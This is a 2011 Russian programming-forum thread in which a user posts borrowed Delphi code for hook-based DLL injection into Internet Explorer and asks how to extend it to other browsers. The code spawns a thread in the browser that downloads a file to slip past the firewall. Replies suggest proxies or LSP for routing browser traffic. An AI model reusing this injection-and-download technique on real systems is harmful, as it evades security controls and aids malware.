PDA

Просмотр полной версии : [Помогите!] DLL инжект


*Хalyava*
14.12.2011, 17:38
есть код с помощью которого происходит инжект в браузер (код не мой).

инжектится в IE (IExproler).

есть несколько вопросов:
1. как осуществить инжект в другой браузер (нужна проверка на открытые браузеры. если открыт какой либо из них то инжектится туда)??
пробовал в DLL изменить имя процесса ( менял iexproler.exe на opera.exe) в оперу не инжектится.


2. при инжекте в IE (Iexproler) открывается много окон браузера (не путайте с вкладками).
как это убрать ??

3. как открыть сайт в браузере в которой происходил инжект (через инжект).
вот приведен пример.
URLDownloadToFile(nil, 'путь в интернете к программе', 'd:\название', 0, nil);
эта функция скачивает с сайта программу (код из DLL)
мне нужно перейти на сайт а не скачивать программу. (именно через DLL/ библиотка UrlMon)
возможно такое??


-------------------------------------------
код DLL:
library hook_dll;

uses Windows, UrlMon;

var
_hook: HHOOK = 0;
thID: THandle;

function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;

procedure WorkWithNet(thrVar: integer) stdcall;
begin
URLDownloadToFile(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]', 'd:\Gen_Sid.rar', 0, nil);
MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
'Hook DLL', MB_OK);
end;

procedure GetUrl; stdcall;
begin
URLOpenStream(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]',0, nil)
end; // пытался перейти на сайт- 0 эффекта

exports
HookProc name 'HookProc',
SetHK name 'SetHK',
GetUrl name 'GetURL';

begin
if GetModuleHandle(nil)=GetModuleHandle('iexplorer.ex e') then
begin
CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.

---------------------------

код проекта:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
Procedure GetURL; stdcall; external 'hook_dll.dll';




{$R *.dfm}
const DLL_INJ = 'DLL Injector (HOOKS)';

type TShp = procedure (hk: HHOOK) stdcall;

procedure InjectDLLviaHOOKS(dll_name: string);
var
h: THandle;
p: pointer;
sh: TShp;
hk: HHOOK;
begin
h:=LoadLibrary(PAnsiChar(dll_name));
if h=0 then
begin
MessageBox(0, PAnsiChar('Не могу загрузить DLL '+dll_name+'!'), DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;
p:=GetProcAddress(h, 'HookProc');
@sh:=GetProcAddress(h, 'SetHK');
if ((p=nil) or (@sh=nil)) then
begin
MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых процедур!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
if hk=0 then
begin
MessageBox(0, PAnsiChar('Невозможно установить ловушку!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
sh(hk);
MessageBox(0, 'Ловушка установлена! Нажмите OK для снятия.',
DLL_INJ, MB_OK);
UnhookWindowsHookEx(hk);
FreeLibrary(h);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
InjectDLLviaHOOKS('hook_dll.dll');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
GetURL;
end;


end.

Mebius
14.12.2011, 22:30
по моему этот код вообще тебе не поможет ибо он скачивает файл внутри дллки и нифиха не работает с браузером. может ошибся

З.Ы. и нафих тебе оно надо?

*Хalyava*
15.12.2011, 10:44
по моему этот код вообще тебе не поможет ибо он скачивает файл внутри дллки и нифиха не работает с браузером. может ошибся

З.Ы. и нафих тебе оно надо?


если не получится сделать программу которую хотел то хотя бы разобраться с инжектом.))

надо же как то продвигаться в знаниях программирования))

сейчас как никак 21 век)) век компьютерных технологий)

Mebius
22.12.2011, 22:46
если не получится сделать программу которую хотел то хотя бы разобраться с инжектом.))

надо же как то продвигаться в знаниях программирования))

сейчас как никак 21 век)) век компьютерных технологий)

ты обьясни суть программы, пожет альтернативное решение скажу или помогу с инфой куда копать)

*Хalyava*
23.12.2011, 08:40
ты обьясни суть программы, пожет альтернативное решение скажу или помогу с инфой куда копать)


суть программы можно понять почитав тему которую я создавал перед этой
(Отправить пакет через TcpClient)

там я писал что мне надо отправить пакет не выходя из космоса в браузере.
как я понял кроме DLL инжекта и создания локального прокси (не уверен в этом) или написания LPS драйвера других вариантов быть не может)

Mebius
25.12.2011, 01:50
ну вообще то lsp))) можно почитать rfc по socks5 и просто настраивать на него браузер, файра сама работает и у нее флеш плеер через плагин контейнер работает, но флеш, это подключаемый модуль, не факт что передача данных идет именно через окно браузера. у хрома например на каждое дополнение запускается chrome.exe процесс

*Хalyava*
26.12.2011, 14:00
ну вообще то lsp))) можно почитать rfc по socks5 и просто настраивать на него браузер, файра сама работает и у нее флеш плеер через плагин контейнер работает, но флеш, это подключаемый модуль, не факт что передача данных идет именно через окно браузера. у хрома например на каждое дополнение запускается chrome.exe процесс


я тут инжект откопал)) вроде работает.
теперь бы узнать как отправить пакет в браузер и обязательно ли писать свой локальный прокси сервер ??